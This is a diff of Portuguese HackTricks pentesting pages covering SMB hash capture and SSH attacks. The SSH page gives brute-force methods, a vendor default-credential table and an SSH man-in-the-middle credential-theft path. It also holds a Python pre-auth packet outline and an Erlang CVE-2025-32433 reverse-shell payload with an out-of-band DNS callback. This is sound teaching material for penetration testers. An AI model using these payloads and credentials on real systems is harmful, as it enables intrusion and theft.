Semelhante ao SMB Trapping, plantar arquivos maliciosos em um target system (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como o Responder. O hash pode então ser crackeado offline ou usado em um [SMB relay attack](#smb-relay-attack).
Semelhante ao SMB Trapping, plantar arquivos maliciosos em um target system (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como Responder. O hash pode então ser crackeado offline ou usado em um [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[Veja: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Comandos Automáticos
```
@ -497,8 +510,8 @@ getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
@ -533,4 +546,10 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
## Referências
- [NetExec (CME) wiki – uso do Kerberos](https://www.netexec.wiki/)
- [Pentesting Kerberos (88) – configuração do cliente e solução de problemas](../pentesting-kerberos-88/README.md)
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
{{#include ../../banners/hacktricks-training.md}}

228
src/network-services-pentesting/pentesting-ssh.md
View File

@ -4,7 +4,7 @@
## Informações Básicas
**SSH (Secure Shell ou Secure Socket Shell)** é um protocolo de rede que permite uma conexão segura a um computador através de uma rede não segura. É essencial para manter a confidencialidade e integridade dos dados ao acessar sistemas remotos.
**SSH (Secure Shell or Secure Socket Shell)** é um protocolo de rede que permite uma conexão segura a um computador através de uma rede não segura. É essencial para manter a confidencialidade e integridade dos dados ao acessar sistemas remotos.
**Porta padrão:** 22
```
@ -12,40 +12,40 @@
```
**Servidores SSH:**
- [openSSH](http://www.openssh.org) – OpenBSD SSH, incluído no BSD, distribuições Linux e Windows desde o Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementação SSH para ambientes com recursos limitados de memória e processador, incluído no OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementação SSH para Windows, o cliente é comumente usado, mas o uso do servidor é mais raro
- [openSSH](http://www.openssh.org) – OpenBSD SSH, distribuído em BSD, distribuições Linux e Windows desde o Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementação SSH para ambientes com pouca memória e recursos de CPU, distribuído no OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementação SSH para Windows; o cliente é comumente usado, mas o uso do servidor é mais raro
- [CopSSH](https://www.itefix.net/copssh) – implementação do OpenSSH para Windows
**Bibliotecas SSH (implementando do lado do servidor):**
**Bibliotecas SSH (implementando o lado servidor):**
- [libssh](https://www.libssh.org) – biblioteca C multiplataforma que implementa o protocolo SSHv2 com bindings em [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) e [R](https://github.com/ropensci/ssh); é usada pelo KDE para sftp e pelo GitHub para a infraestrutura git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteca de servidor SSHv2 escrita em ANSI C e direcionada para ambientes embarcados, RTOS e com recursos limitados
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteca java Apache SSHD baseada no Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – biblioteca do protocolo SSHv2 em Python
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteca de servidor SSHv2 escrita em ANSI C e direcionada a ambientes embarcados, RTOS e com recursos limitados
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – a biblioteca Java Apache SSHD é baseada no Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – biblioteca Python do protocolo SSHv2
## Enumeração
### Captura de Banner
### Banner Grabbing
```bash
nc -vn <IP> 22
```
### Auditoria ssh automatizada
### ssh-audit automatizado
ssh-audit é uma ferramenta para auditoria de configuração de servidor e cliente SSH.
ssh-audit é uma ferramenta para auditoria da configuração de servidores e clientes SSH.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) é um fork atualizado de [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
**Recursos:**
- Suporte ao servidor dos protocolos SSH1 e SSH2;
- analisar a configuração do cliente SSH;
- Suporte a servidores dos protocolos SSH1 e SSH2;
- analisar a configuração de clientes SSH;
- capturar banner, reconhecer dispositivo ou software e sistema operacional, detectar compressão;
- coletar algoritmos de troca de chaves, chave do host, criptografia e código de autenticação de mensagem;
- saída de informações sobre algoritmos (disponível desde, removido/desativado, inseguro/fraco/legado, etc);
- saída de recomendações de algoritmos (adicionar ou remover com base na versão do software reconhecida);
- saída de informações de segurança (problemas relacionados, lista de CVE atribuídos, etc);
- analisar a compatibilidade da versão SSH com base nas informações do algoritmo;
- coletar algoritmos de key-exchange, host-key, encryption e message authentication code;
- exibir informações dos algoritmos (available since, removed/disabled, unsafe/weak/legacy, etc);
- exibir recomendações de algoritmos (append or remove based on recognized software version);
- exibir informações de segurança (related issues, assigned CVE list, etc);
- analisar compatibilidade de versão do SSH com base nas informações de algoritmos;
- informações históricas do OpenSSH, Dropbear SSH e libssh;
- funciona em Linux e Windows;
- sem dependências
@ -69,15 +69,15 @@ use -t to change timeout)
(default: 5)
$ python3 ssh-audit <IP>
```
[Veja em ação (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### Chave SSH pública do servidor
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
### Algoritmos de Cifração Fracos
### Algoritmos de Cifra Fracos
Isso é descoberto por padrão pelo **nmap**. Mas você também pode usar **sslcan** ou **sslyze**.
Isto é detectado por padrão pelo **nmap**. Mas você também pode usar **sslcan** ou **sslyze**.
### Scripts do Nmap
```bash
@ -91,115 +91,135 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
- `ssh`
## Força bruta de nomes de usuário, senhas e chaves privadas
## Brute force usernames, passwords and private keys
### Enumeração de Nomes de Usuário
### Username Enumeration
Em algumas versões do OpenSSH, você pode fazer um ataque de temporização para enumerar usuários. Você pode usar um módulo do metasploit para explorar isso:
Em algumas versões do OpenSSH você pode realizar um timing attack para enumerar users. Você pode usar um metasploit module para explorar isso:
```
msf> use scanner/ssh/ssh_enumusers
```
### [Força bruta](../generic-hacking/brute-force.md#ssh)
### [Brute force](../generic-hacking/brute-force.md#ssh)
Algumas credenciais ssh comuns [aqui](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) e [aqui](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) e abaixo.
Algumas credenciais ssh comuns [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) e [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) e abaixo.
### Força Bruta de Chave Privada
### Private Key Brute Force
Se você conhece algumas chaves privadas ssh que poderiam ser usadas... vamos tentar. Você pode usar o script nmap:
Se você conhece algumas ssh private keys que poderiam ser usadas... vamos tentar. Você pode usar o nmap script:
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
Ou o módulo auxiliar do MSF:
Ou o MSF auxiliary module:
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
Ou use `ssh-keybrute.py` (python3 nativo, leve e com algoritmos legados habilitados): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
Ou use `ssh-keybrute.py` (nativo python3, leve e com algoritmos legados habilitados): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Badkeys conhecidos podem ser encontrados aqui:
#### Chaves ruins conhecidas podem ser encontradas aqui:
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### Chaves SSH fracas / PRNG previsível do Debian
#### Chaves SSH fracas / PRNG previsível no Debian
Alguns sistemas têm falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chave drasticamente reduzido que pode ser quebrado por força bruta. Conjuntos pré-gerados de chaves geradas em sistemas Debian afetados por PRNG fraco estão disponíveis aqui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Alguns sistemas têm falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves drasticamente reduzido que pode ser bruteforced. Conjuntos pré-gerados de chaves geradas em sistemas Debian afetados pelo PRNG fraco estão disponíveis aqui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Você deve olhar aqui para procurar chaves válidas para a máquina da vítima.
Você deve procurar aqui para buscar chaves válidas para a máquina vítima.
### Kerberos
### Kerberos / GSSAPI SSO
**crackmapexec** usando o protocolo `ssh` pode usar a opção `--kerberos` para **autenticar via kerberos**.\
Para mais informações, execute `crackmapexec ssh --help`.
Se o servidor SSH alvo suportar GSSAPI (por exemplo Windows OpenSSH em um controlador de domínio), você pode autenticar usando seu Kerberos TGT em vez de uma senha.
Fluxo de trabalho a partir de um host atacante Linux:
```bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Notas:
- If you connect to the wrong name (e.g., short host, alias, or wrong order in `/etc/hosts`), you may get: "Server not found in Kerberos database" because the SPN does not match.
- `crackmapexec ssh --kerberos` can also use your ccache for Kerberos auth.
## Credenciais Padrão
| **Fornecedor** | **Nomes de Usuário** | **Senhas** |
| -------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| **Fornecedor** | **Usuários** | **Senhas** |
| -------------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM
Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando nome de usuário e senha, você pode tentar **realizar um ataque MitM para roubar essas credenciais:**
Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando username e password, você pode tentar **realizar um ataque MitM para capturar essas credenciais:**
**Caminho do ataque:**
**Attack path:**
- **Redirecionamento de Tráfego:** O atacante **desvia** o tráfego da vítima para sua máquina, efetivamente **interceptando** a tentativa de conexão ao servidor SSH.
- **Intercepção e Registro:** A máquina do atacante atua como um **proxy**, **capturando** os detalhes de login do usuário ao fingir ser o servidor SSH legítimo.
- **Execução de Comandos e Revezamento:** Finalmente, o servidor do atacante **registra as credenciais do usuário**, **encaminha os comandos** para o verdadeiro servidor SSH, **os executa** e **envia os resultados de volta** para o usuário, fazendo o processo parecer contínuo e legítimo.
- **Interceptação e Registro:** A máquina do atacante atua como um **proxy**, **capturando** os dados de login do usuário ao se passar pelo servidor SSH legítimo.
- **Execução de Comandos e Reencaminhamento:** Finalmente, o servidor do atacante **registra as credenciais do usuário**, **encaminha os comandos** para o servidor SSH real, **executa** eles e **envia os resultados de volta** ao usuário, fazendo o processo parecer contínuo e legítimo.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) faz exatamente o que foi descrito acima.
Para capturar e realizar o MitM real, você pode usar técnicas como spoofing ARP, spoofing DNS ou outras descritas nos [**ataques de Spoofing de Rede**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
Para efetuar o MitM real você pode usar técnicas como ARP spoofing, DNS spoofin ou outras descritas em [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
## SSH-Snake
Se você deseja percorrer uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) é o que você precisa.
Se você quiser percorrer uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) é o que você precisa.
SSH-Snake realiza as seguintes tarefas automaticamente e recursivamente:
SSH-Snake executa as seguintes tarefas automaticamente e recursivamente:
1. No sistema atual, encontre quaisquer chaves privadas SSH,
2. No sistema atual, encontre quaisquer hosts ou destinos (user@host) que as chaves privadas possam ser aceitas,
3. Tente SSH em todos os destinos usando todas as chaves privadas descobertas,
2. No sistema atual, encontre quaisquer hosts ou destinos (user@host) para os quais as chaves privadas possam ser aceitas,
3. Tentar realizar SSH em todos os destinos usando todas as chaves privadas descobertas,
4. Se um destino for conectado com sucesso, repete os passos #1 - #4 no sistema conectado.
É completamente auto-replicante e auto-propagante -- e completamente sem arquivos.
É completamente autorreplicante e autorpropagante -- e completamente fileless.
## Configurações Incorretas
## Misconfigurações
### Login como Root
### Login de root
É comum que servidores SSH permitam login do usuário root por padrão, o que representa um risco significativo à segurança. **Desabilitar o login como root** é um passo crítico para proteger o servidor. O acesso não autorizado com privilégios administrativos e ataques de força bruta podem ser mitigados fazendo essa alteração.
É comum que servidores SSH permitam login do usuário root por padrão, o que representa um risco significativo de segurança. **Desabilitar o login root** é um passo crítico para proteger o servidor. Acesso não autorizado com privilégios administrativos e ataques de brute force podem ser mitigados ao fazer essa alteração.
**Para Desabilitar o Login como Root no OpenSSH:**
**Para desabilitar o login root no OpenSSH:**
1. **Edite o arquivo de configuração do SSH** com: `sudoedit /etc/ssh/sshd_config`
2. **Altere a configuração** de `#PermitRootLogin yes` para **`PermitRootLogin no`**.
3. **Recarregue a configuração** usando: `sudo systemctl daemon-reload`
4. **Reinicie o servidor SSH** para aplicar as alterações: `sudo systemctl restart sshd`
4. **Reinicie o servidor SSH** para aplicar as mudanças: `sudo systemctl restart sshd`
### Força Bruta SFTP
### SFTP Brute Force
- [**Força Bruta SFTP**](../generic-hacking/brute-force.md#sftp)
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
### Execução de Comandos SFTP
### Execução de comandos via SFTP
Há uma falha comum que ocorre com configurações SFTP, onde os administradores pretendem que os usuários troquem arquivos sem habilitar o acesso remoto ao shell. Apesar de configurar usuários com shells não interativos (por exemplo, `/usr/bin/nologin`) e confiná-los a um diretório específico, uma brecha de segurança permanece. **Os usuários podem contornar essas restrições** solicitando a execução de um comando (como `/bin/bash`) imediatamente após o login, antes que seu shell não interativo designado assuma. Isso permite a execução não autorizada de comandos, minando as medidas de segurança pretendidas.
Há uma falha comum em setups SFTP, onde administradores pretendem que os usuários troquem arquivos sem habilitar acesso shell remoto. Apesar de configurar usuários com shells não interativos (por exemplo, `/usr/bin/nologin`) e confiná-los a um diretório específico, permanece uma brecha de segurança. **Os usuários podem contornar essas restrições** solicitando a execução de um comando (como `/bin/bash`) imediatamente após o login, antes que o shell não interativo designado entre em efeito. Isso permite execução não autorizada de comandos, minando as medidas de segurança pretendidas.
[Exemplo daqui](https://community.turgensec.com/ssh-hacking-guide/):
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
```bash
ssh -v noraj@192.168.1.94 id
...
@ -232,42 +252,42 @@ PermitTunnel no
X11Forwarding no
PermitTTY no
```
Esta configuração permitirá apenas SFTP: desabilitando o acesso ao shell forçando o comando de início e desabilitando o acesso TTY, mas também desabilitando todo tipo de encaminhamento de porta ou tunelamento.
Esta configuração permitirá apenas SFTP: desabilitando o acesso ao shell forçando o start command e desativando o acesso TTY, além de desabilitar qualquer tipo de port forwarding ou tunneling.
### SFTP Tunneling
Se você tiver acesso a um servidor SFTP, também pode tunelar seu tráfego através disso, por exemplo, usando o encaminhamento de porta comum:
Se você tiver acesso a um servidor SFTP, também pode tunnel seu tráfego por meio dele, por exemplo usando o comum port forwarding:
```bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
```
### SFTP Symlink
O **sftp** tem o comando "**symlink**". Portanto, se você tiver **direitos de gravação** em alguma pasta, pode criar **symlinks** de **outras pastas/arquivos**. Como você provavelmente está **preso** dentro de um chroot, isso **não será especialmente útil** para você, mas, se você puder **acessar** o **symlink** criado a partir de um **serviço** **não-chroot** (por exemplo, se você puder acessar o symlink pela web), você poderia **abrir os arquivos vinculados pelo web**.
O **sftp** tem o comando "**symlink**". Portanto, se você tiver **permissões de escrita** em alguma pasta, você pode criar **symlinks** de **outras pastas/arquivos**. Como você provavelmente está **preso** dentro de um chroot isso **não será especialmente útil** para você, mas, se você puder **acessar** o **symlink** criado a partir de um **no-chroot** **service** (por exemplo, se você puder acessar o symlink pela web), você poderia **abrir os arquivos apontados pelo symlink através da web**.
Por exemplo, para criar um **symlink** de um novo arquivo **"**_**froot**_**" para "**_**/**_**"**:
Por exemplo, para criar um **symlink** a partir de um novo arquivo **"**_**froot**_**" para "**_**/**_**"**:
```bash
sftp> symlink / froot
```
Se você puder acessar o arquivo "_froot_" via web, poderá listar a pasta raiz ("/") do sistema.
Se você conseguir acessar o arquivo "_froot_" via web, poderá listar o diretório root ("/") do sistema.
### Métodos de autenticação
Em ambientes de alta segurança, é uma prática comum habilitar apenas autenticação baseada em chave ou autenticação de dois fatores, em vez da simples autenticação baseada em senha. Mas muitas vezes, os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como o método padrão, mas não desabilitar `password`. Assim, usando o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado:
Em ambientes de alta segurança, é prática comum habilitar apenas autenticação baseada em chaves ou autenticação de dois fatores em vez da simples autenticação por senha. Mas frequentemente os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como método padrão, mas sem desabilitar `password`. Assim, usando o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
```
Por exemplo, se um limite de falhas de autenticação estiver definido e você nunca tiver a chance de acessar o método de senha, você pode usar a opção `PreferredAuthentications` para forçar o uso desse método.
Por exemplo, se um limite de falhas de autenticação estiver definido e você nunca tiver a chance de alcançar o método password, pode usar a opção `PreferredAuthentications` para forçar o uso desse método.
```bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
Revisar a configuração do servidor SSH é necessário para verificar se apenas os métodos esperados estão autorizados. Usar o modo verbose no cliente pode ajudar a ver a eficácia da configuração.
Revisar a configuração do servidor SSH é necessário para verificar que apenas os métodos esperados estejam autorizados. Usar o verbose mode no cliente pode ajudar a ver a eficácia da configuração.
### Config files
### Arquivos de configuração
```bash
ssh_config
sshd_config
@ -281,22 +301,22 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Bypass do Estado da Máquina de Autenticação (RCE Pré-Autenticação)
## Authentication State-Machine Bypass (Pre-Auth RCE)
Várias implementações de servidor SSH contêm falhas lógicas na **máquina de estados finitos de autenticação** que permitem a um cliente enviar mensagens de *protocolo de conexão* **antes** que a autenticação tenha terminado. Como o servidor não verifica se está no estado correto, essas mensagens são tratadas como se o usuário estivesse totalmente autenticado, levando à **execução de código não autenticado** ou criação de sessão.
Várias implementações de servidores SSH contêm falhas lógicas na **authentication finite-state machine** que permitem que um cliente envie mensagens *connection-protocol* **antes** de a autenticação terminar. Como o servidor não verifica se está no estado correto, essas mensagens são tratadas como se o usuário já estivesse totalmente autenticado, levando a **unauthenticated code execution** ou criação de sessão.
Em um nível de protocolo, qualquer mensagem SSH com um _código de mensagem_ **≥ 80** (0x50) pertence à camada de *conexão* (RFC 4254) e deve **ser aceita apenas após autenticação bem-sucedida** (RFC 4252). Se o servidor processar uma dessas mensagens enquanto ainda estiver no estado *SSH_AUTHENTICATION*, o atacante pode imediatamente criar um canal e solicitar ações como execução de comandos, redirecionamento de portas, etc.
Em nível de protocolo, qualquer mensagem SSH com um _message code_ **≥ 80** (0x50) pertence à camada *connection* (RFC 4254) e deve **somente ser aceita após autenticação bem-sucedida** (RFC 4252). Se o servidor processar uma dessas mensagens enquanto ainda estiver no estado *SSH_AUTHENTICATION*, o atacante pode imediatamente criar um channel e solicitar ações como execução de comandos, port-forwarding, etc.
### Passos Genéricos de Exploração
1. Estabeleça uma conexão TCP na porta SSH do alvo (comumente 22, mas outros serviços podem expor Erlang/OTP em 2022, 830, 2222…).
### Generic Exploitation Steps
1. Estabeleça uma conexão TCP com a porta SSH do alvo (comummente 22, mas outros serviços podem expor Erlang/OTP em 2022, 830, 2222…).
2. Crie um pacote SSH bruto:
* 4 bytes de **packet_length** (big-endian)
* 1 byte de **message_code** ≥ 80 (por exemplo, `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload que será compreendido pelo tipo de mensagem escolhido
* 4-byte **packet_length** (big-endian)
* 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload que será entendido pelo tipo de mensagem escolhido
3. Envie o(s) pacote(s) **antes de completar qualquer etapa de autenticação**.
4. Interaja com as APIs do servidor que agora estão expostas _pré-autenticação_ (execução de comandos, redirecionamento de portas, acesso ao sistema de arquivos, …).
4. Interaja com as APIs do servidor que agora estão expostas _pre-auth_ (command execution, port forwarding, file-system access, …).
Esboço de prova de conceito em Python:
Python proof-of-concept outline:
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
@ -308,41 +328,45 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
Na prática, você precisará realizar (ou pular) a troca de chaves de acordo com a implementação do alvo, mas **nenhuma autenticação** é realizada.
Na prática você precisará executar (ou pular) a troca de chaves conforme a implementação alvo, mas **nenhuma autenticação** é jamais realizada.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Versões afetadas:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Causa raiz:** o daemon SSH nativo do Erlang não valida o estado atual antes de invocar `ssh_connection:handle_msg/2`. Portanto, qualquer pacote com um código de mensagem de 80-255 chega ao manipulador de conexão enquanto a sessão ainda está no estado *userauth*.
* **Impacto:** execução de **código remoto** não autenticada (o daemon geralmente é executado como **root** em dispositivos embarcados/OT).
* **Causa raiz:** o daemon SSH nativo do Erlang não valida o estado atual antes de invocar `ssh_connection:handle_msg/2`. Portanto qualquer pacote com um código de mensagem 80-255 atinge o manipulador de conexão enquanto a sessão ainda está no estado *userauth*.
* **Impacto:** não autenticada **remote code execution** (o daemon geralmente roda como **root** em dispositivos embedded/OT).
Exemplo de payload que gera um shell reverso vinculado ao canal controlado pelo atacante:
Exemplo de payload que cria uma reverse shell vinculada ao canal controlado pelo atacante:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
A detecção de RCE cega / fora de banda pode ser realizada via DNS:
Blind RCE / out-of-band detection pode ser realizada via DNS:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Detecção e Mitigação:
* Inspecione o tráfego SSH: **descarte qualquer pacote com código de mensagem ≥ 80 observado antes da autenticação**.
* Atualize Erlang/OTP para **27.3.3 / 26.2.5.11 / 25.3.2.20** ou mais recente.
* Restringa a exposição de portas de gerenciamento (22/2022/830/2222) – especialmente em equipamentos OT.
Detecção & Mitigação:
* Inspecionar tráfego SSH: **descartar qualquer pacote com código de mensagem ≥ 80 observado antes da autenticação**.
* Atualize Erlang/OTP para **27.3.3 / 26.2.5.11 / 25.3.2.20** ou superior.
* Restrinja a exposição das portas de gerenciamento (22/2022/830/2222) – especialmente em equipamentos OT.
---
### Outras Implementações Afetadas
* **libssh** 0.6 – 0.8 (lado do servidor) – **CVE-2018-10933** – aceita um `SSH_MSG_USERAUTH_SUCCESS` não autenticado enviado pelo cliente, efetivamente a falha de lógica inversa.
* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – aceita um `SSH_MSG_USERAUTH_SUCCESS` não autenticado enviado pelo cliente, sendo efetivamente o inverso de uma falha lógica.
A lição comum é que qualquer desvio das transições de estado exigidas pela RFC pode ser fatal; ao revisar ou fuzzing de daemons SSH preste atenção especial à *imposição da máquina de estados*.
A lição comum é que qualquer desvio das transições de estado exigidas pelo RFC pode ser fatal; ao revisar ou fuzzar daemons SSH, preste atenção especial à *aplicação da máquina de estados*.
## Referências
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [Guias de hardening SSH](https://www.ssh-audit.com/hardening_guides.html)
- [Guia de hacking SSH da Turgensec](https://community.turgensec.com/ssh-hacking-guide)
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## Comandos Automáticos HackTricks
## Comandos Automáticos do HackTricks
```
Protocol_Name: SSH
Port_Number: 22

221
